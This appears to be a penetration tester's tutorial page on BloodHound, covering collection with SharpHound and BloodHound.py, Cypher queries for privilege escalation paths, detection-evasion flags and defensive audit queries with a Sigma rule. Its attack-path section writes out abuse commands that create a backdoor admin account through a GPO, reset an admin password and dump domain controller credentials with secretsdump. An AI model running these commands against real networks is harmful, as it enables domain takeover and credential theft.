
BloodHound: Active Directory Attack Paths
Using BloodHound to collect Active Directory data, query it with Cypher and find privilege escalation paths.
Introduction
BloodHound loads Active Directory data into a graph database and finds privilege escalation paths through it. Users, groups, computers, GPOs and domains are nodes. Group membership, ACL rights, admin rights and sessions are edges. A path that would take hours of manual LDAP reading shows up as a single shortest-path query.
It was written by @_wald0, @CptJesus and @harmj0y, and SpecterOps maintains it. Red teams use it to find a route to Domain Admins. Blue teams run the same queries to find the ACLs and group nestings that make those routes possible.
What it finds
Most of the paths it turns up run through nested group memberships, ACL rights on users and groups, and trusts. Those rarely stand out when you enumerate by hand.
What it does
- Graphs group memberships, ACLs, local admin rights, sessions and domain trusts.
- Finds the shortest path from an owned account to a target such as Domain Admins.
- Ships pre-built queries for the common paths (DCSync rights, Kerberoastable users, unconstrained delegation).
- Takes raw Cypher for anything the pre-built queries miss.
- Collects with SharpHound (C#, from a Windows host) or BloodHound.py (Python, from Linux).
- Handles multi-domain forests and trusts.
- In BloodHound CE, also ingests Azure AD (Entra ID) data collected with AzureHound.
Installation and setup
BloodHound Community Edition (recommended)
# Install using Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose/
docker-compose up -d
# Access web interface
# Navigate to http://localhost:8080
# Default credentials: admin:admin (change immediately)Legacy BloodHound install
# Install Neo4j (graph database)
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable 4.4' | sudo tee /etc/apt/sources.list.d/neo4j.list
sudo apt update
sudo apt install neo4j
# Start Neo4j
sudo neo4j start
# Set initial password
# Navigate to http://localhost:7474
# Default credentials: neo4j:neo4j
# Install BloodHound
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
chmod +x BloodHound
./BloodHoundNeo4j memory settings
# Edit Neo4j configuration
sudo nano /etc/neo4j/neo4j.conf
# Recommended settings for large datasets
dbms.memory.heap.initial_size=2G
dbms.memory.heap.max_size=4G
dbms.memory.pagecache.size=2G
# Restart Neo4j
sudo systemctl restart neo4jData collection
SharpHound (C# collector, recommended)
Basic collection:
# Download latest SharpHound
# https://github.com/BloodHoundAD/SharpHound/releases
# All collection methods
.\SharpHound.exe -c All
# Common options
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c All --outputdirectory C:\Temp
.\SharpHound.exe -c All --memcache --zipfilename cached.zipSingle collection methods:
# Session collection (logged-on users)
.\SharpHound.exe -c Session
# LocalAdmin collection (local admin rights)
.\SharpHound.exe -c LocalAdmin
# Group membership collection
.\SharpHound.exe -c Group
# ACL collection (permissions)
.\SharpHound.exe -c ACL
# Trust relationships
.\SharpHound.exe -c Trusts
# Container collection (OUs and properties)
.\SharpHound.exe -c Container
# Combined collection (recommended)
.\SharpHound.exe -c All,GPOLocalGroupTargeting and throttling options:
# Specify domain
.\SharpHound.exe -c All -d domain.local
# Use specific domain controller
.\SharpHound.exe -c All --domaincontroller DC01.domain.local
# Loop collection every X minutes
.\SharpHound.exe -c Session --loop --loopduration 01:00:00
# Exclude domain controllers from session enum (stealth)
.\SharpHound.exe -c Session --excludedc
# Throttle requests (stealth)
.\SharpHound.exe -c All --throttle 1000
# Use LDAPS
.\SharpHound.exe -c All --secureldapQuieter collection:
# Stealthy collection
.\SharpHound.exe -c All \
--excludedc \
--throttle 2000 \
--jitter 20 \
--zipfilename report_$(Get-Date -Format yyyyMMdd).zip
# Avoid session enumeration (generates SMB connections)
.\SharpHound.exe -c Group,ACL,Trusts,ContainerBloodHound.py (Python collector)
# Install bloodhound.py
pip install bloodhound
# Basic collection
bloodhound-python -u username -p password -d domain.local -c All
# Specify domain controller
bloodhound-python -u username -p password -d domain.local -ns 10.10.10.10 -c All
# Use Kerberos authentication
bloodhound-python -u username -k -d domain.local -c All
# Disable certificate verification (for LDAPS)
bloodhound-python -u username -p password -d domain.local -c All --disable-cert-verificationFrom a Linux attack host:
# Using NTLM authentication
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
# Using Kerberos ticket
export KRB5CCNAME=/tmp/krb5cc_1000
bloodhound-python -u user@domain.local -k -d domain.local -ns 10.10.10.10 -c all
# Collection from non-domain-joined machine
bloodhound-python -u user@domain.local -p password -ns 10.10.10.10 -d domain.local -c all --zipImporting and analyzing data
Import data into BloodHound
# Launch BloodHound
./BloodHound
# Connect to database
# Database URL: bolt://localhost:7687
# Username: neo4j
# Password: [your password]
# Import data
# Drag and drop ZIP file OR
# Click "Upload Data" buttonFirst pass
Start with the pre-built queries on the Analysis tab:
- Find all Domain Admins
- Find Shortest Paths to Domain Admins
- Find Principals with DCSync Rights
- Users with Foreign Domain Group Membership
- Groups with Foreign Domain Group Membership
- Map Domain Trusts
- Shortest Paths to Unconstrained Delegation Systems
- Shortest Paths from Kerberoastable Users
- Shortest Paths to Domain Admins from Kerberoastable Users
Click a node to open its info panel. It has these sections:
| Section | Shows |
|---|---|
| Overview | Basic information |
| Node Properties | The AD attributes collected for the object |
| Extra Properties | Additional metadata |
| Group Membership | Direct and nested memberships |
| Local Admin Rights | Hosts where the object is local admin |
| Execution Rights | Hosts where it can run commands (RDP, DCOM, PSRemote) |
| Outbound Object Control | Objects it can modify |
| Inbound Object Control | Principals that can modify it |
Custom Cypher queries
Common Cypher queries
Shortest path from one user to Domain Admins:
MATCH (n:User {name:"USER@DOMAIN.LOCAL"}), (m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}),
p=shortestPath((n)-[*1..]->(m))
RETURN pAll shortest paths from that user to Domain Admins:
MATCH (n:User {name:"USER@DOMAIN.LOCAL"}), (m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}),
p=allShortestPaths((n)-[*1..]->(m))
RETURN pUsers with DCSync rights through group membership:
MATCH (n:User)-[r:MemberOf*1..]->(g:Group)-[r2:GetChanges|GetChangesAll]->(d:Domain)
RETURN n.name, g.name, d.nameKerberoastable users with a path to Domain Admins:
MATCH (u:User {hasspn:true})
MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH p=shortestPath((u)-[*1..]->(g))
RETURN pAS-REP roastable users:
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.descriptionComputers with unconstrained delegation:
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.operatingsystemEverything marked high value:
MATCH (n {highvalue:true})
RETURN n.name, labels(n)Users with something password-like in the description:
MATCH (u:User)
WHERE u.description =~ '(?i).*(pass|pwd|password|cred).*'
RETURN u.name, u.descriptionUsers who are local admin on more than one computer:
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WITH u, count(c) as adminCount
WHERE adminCount > 1
RETURN u.name, adminCount
ORDER BY adminCount DESCPrincipals with dangerous rights on the domain object:
MATCH (n)-[r:WriteDacl|GenericAll|GenericWrite|Owns|WriteOwner]->(d:Domain)
RETURN n.name, type(r), d.nameQueries from owned principals
Shortest path from any owned user to Domain Admins:
MATCH (n:User {owned:true}), (m:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}),
p=shortestPath((n)-[*1..]->(m))
RETURN pComputers where owned users are local admin:
MATCH (u:User {owned:true})-[r:AdminTo]->(c:Computer)
RETURN u.name, c.nameComputers with an owned user's session on them:
MATCH (u:User {owned:true})<-[r:HasSession]-(c:Computer)
RETURN u.name, c.nameUsers reachable from an owned principal:
MATCH (n {owned:true}), (m:User),
p=shortestPath((n)-[*1..]->(m))
WHERE NOT m.owned
RETURN pGPOs owned users can modify:
MATCH (u:User {owned:true})-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(g:GPO)
RETURN u.name, g.name, type(r)Attack path examples
Path 1: group membership chain
User@DOMAIN.LOCAL
↓ MemberOf
IT Support@DOMAIN.LOCAL
↓ MemberOf
Server Operators@DOMAIN.LOCAL
↓ GenericAll
DOMAIN ADMINS@DOMAIN.LOCALAbuse:
# Add user to Domain Admins
net group "Domain Admins" User /add /domainPath 2: ACL-based privilege escalation
User@DOMAIN.LOCAL
↓ GenericAll
HelpDesk@DOMAIN.LOCAL
↓ ForceChangePassword
Admin@DOMAIN.LOCAL
↓ AdminTo
DC01.DOMAIN.LOCALAbuse:
# Step 1: Add user to HelpDesk group
Add-ADGroupMember -Identity "HelpDesk" -Members "User"
# Step 2: Reset Admin password
Set-ADAccountPassword -Identity Admin -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewPass123!" -Force)
# Step 3: Use Admin credentials to access DC
Enter-PSSession -ComputerName DC01 -Credential DOMAIN\AdminPath 3: GPO abuse
User@DOMAIN.LOCAL
↓ GenericWrite
Corporate Workstations GPO
↓ GpLink
Domain Computers@DOMAIN.LOCALAbuse:
# Modify GPO to add scheduled task
# Tools: SharpGPOAbuse, PowerView
SharpGPOAbuse.exe --AddComputerTask \
--TaskName "Update" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "cmd.exe" \
--Arguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" \
--GPOName "Corporate Workstations GPO"Path 4: constrained delegation
User@DOMAIN.LOCAL
↓ GenericAll
SERVICE01$@DOMAIN.LOCAL (AllowedToDelegate: HTTP/DC01)
↓ Impersonate
Any User → HTTP/DC01 (including DA)Abuse:
# Request TGT for service account
getTGT.py domain.local/SERVICE01$ -hashes :ntlmhash
# Request service ticket as DA
getST.py domain.local/SERVICE01$ -spn HTTP/DC01.DOMAIN.LOCAL -impersonate Administrator -dc-ip 10.10.10.10
# Use ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k DC01.DOMAIN.LOCAL -just-dcDefensive use
Find dangerous permissions
// Find all GenericAll permissions to high-value targets
MATCH (n)-[r:GenericAll]->(m {highvalue:true})
RETURN n.name, m.name, labels(m)
// Excessive AdminTo relationships
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WITH u, count(c) as adminCount
WHERE adminCount > 10
RETURN u.name, adminCount
ORDER BY adminCount DESCAudit privileged groups
// Members of Domain Admins
MATCH (n)-[r:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN n.name, labels(n)
// Nested group memberships to privileged groups
MATCH p=(n:User)-[r:MemberOf*2..]->(g:Group {highvalue:true})
RETURN pFind stale objects
// Inactive users with admin rights
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WHERE u.enabled = false OR u.lastlogontimestamp < (datetime().epochseconds - (90 * 86400))
RETURN u.name, u.lastlogontimestamp, count(c) as AdminCount
// Service accounts with passwords that don't expire
MATCH (u:User {hasspn:true})
WHERE u.pwdneverexpires = true
RETURN u.name, u.serviceprincipalnamesWorking with the graph
Mark owned principals
# Right-click node → "Mark User as Owned"
# Or bulk mark via Cypher:
MATCH (n:User) WHERE n.name IN ["USER1@DOMAIN.LOCAL", "USER2@DOMAIN.LOCAL"]
SET n.owned = trueSet high-value targets
// Mark custom high-value targets
MATCH (n) WHERE n.name IN ["FILE-SERVER@DOMAIN.LOCAL", "BACKUP-ADMIN@DOMAIN.LOCAL"]
SET n.highvalue = trueExport data
// Export all users to CSV
MATCH (u:User)
RETURN u.name, u.enabled, u.lastlogon, u.pwdlastsetDatabase cleanup
// Clear all data
MATCH (n) DETACH DELETE n
// Clear owned markers
MATCH (n) WHERE n.owned = true SET n.owned = falseQuery performance
// Create indexes for faster queries
CREATE INDEX ON :User(name)
CREATE INDEX ON :Computer(name)
CREATE INDEX ON :Group(name)Operational security
What collection leaves behind
A SharpHound run produces:
- A large burst of LDAP queries against a domain controller.
- SMB connections to every computer it enumerates sessions or local groups on.
- DNS lookups for each discovered host.
- Event ID 1644 on domain controllers, if expensive and inefficient LDAP query logging is turned on.
Reduce the footprint
# Minimal collection (no session enumeration)
.\SharpHound.exe -c DCOnly
# Throttled collection
.\SharpHound.exe -c All --throttle 5000 --jitter 30
# Loop session collection only (after initial enum)
.\SharpHound.exe -c Session --loop --loopduration 06:00:00 --excludedcBlue team detection
# Sigma rule for SharpHound detection
title: SharpHound Active Directory Enumeration
status: experimental
detection:
selection_ldap:
EventID: 1644 # Expensive or inefficient LDAP query (Directory Service log)
Provider_Name: Microsoft-Windows-ActiveDirectory_DomainService
selection_smb:
EventID: 5145 # Network share object accessed
ShareName: '\\\*\ADMIN$'
condition: selection_ldap OR selection_smbOther tools that feed or read BloodHound
PlumHound
PlumHound runs a list of BloodHound queries and writes the results out as reports:
# Install Plumhound
git clone https://github.com/PlumHound/PlumHound.git
cd PlumHound && pip install -r requirements.txt
# Generate report
python3 PlumHound.py -x tasks/default.tasks -p Password123CrackMapExec
# Mark owned computers in BloodHound
crackmapexec smb 10.10.10.0/24 -u user -p password --bloodhound --collection AllPowerView
# Export to BloodHound format
Import-Module PowerView.ps1
Invoke-BloodHound -CollectionMethod AllReferences
MITRE ATT&CK Techniques
- T1087.002 - Account Discovery: Domain Account - User enumeration
- T1069.002 - Permission Groups Discovery: Domain Groups - Group enumeration
- T1482 - Domain Trust Discovery - Trust relationship mapping
- T1018 - Remote System Discovery - Computer enumeration
- T1033 - System Owner/User Discovery - Session enumeration
- T1069.001 - Permission Groups Discovery: Local Groups - Local admin enumeration
Official documentation
- BloodHound GitHub Repository - Official source
- SharpHound Collector - Data collection tool
- BloodHound Documentation - User guide
Community resources
- Cypher Query Language Reference - Neo4j query language
- SpecterOps Blog: BloodHound Resources - Development updates
Related tools
- PlumHound - BloodHound reporting
- BloodHound.py - Python-based collector
Next steps
After collection:
- Rank the paths by how easy each edge is to abuse and how much noise it makes.
- Check each edge by hand before you act on it. Session data in particular goes stale fast.
- Screenshot the path and note every edge for the report.
- On a defensive engagement, list the ACLs and nested groups that create the paths so they can be removed.
- Related Active Directory techniques:
Tools
Notes on the tools I use on penetration tests and red team engagements, grouped by phase: scanning, Active Directory, password cracking, C2 and pivoting.
Command and Control Infrastructure Setup and OPSEC
C2 infrastructure architecture guide covering redirectors, domain fronting, malleable profiles, CDN-based evasion, and operational security.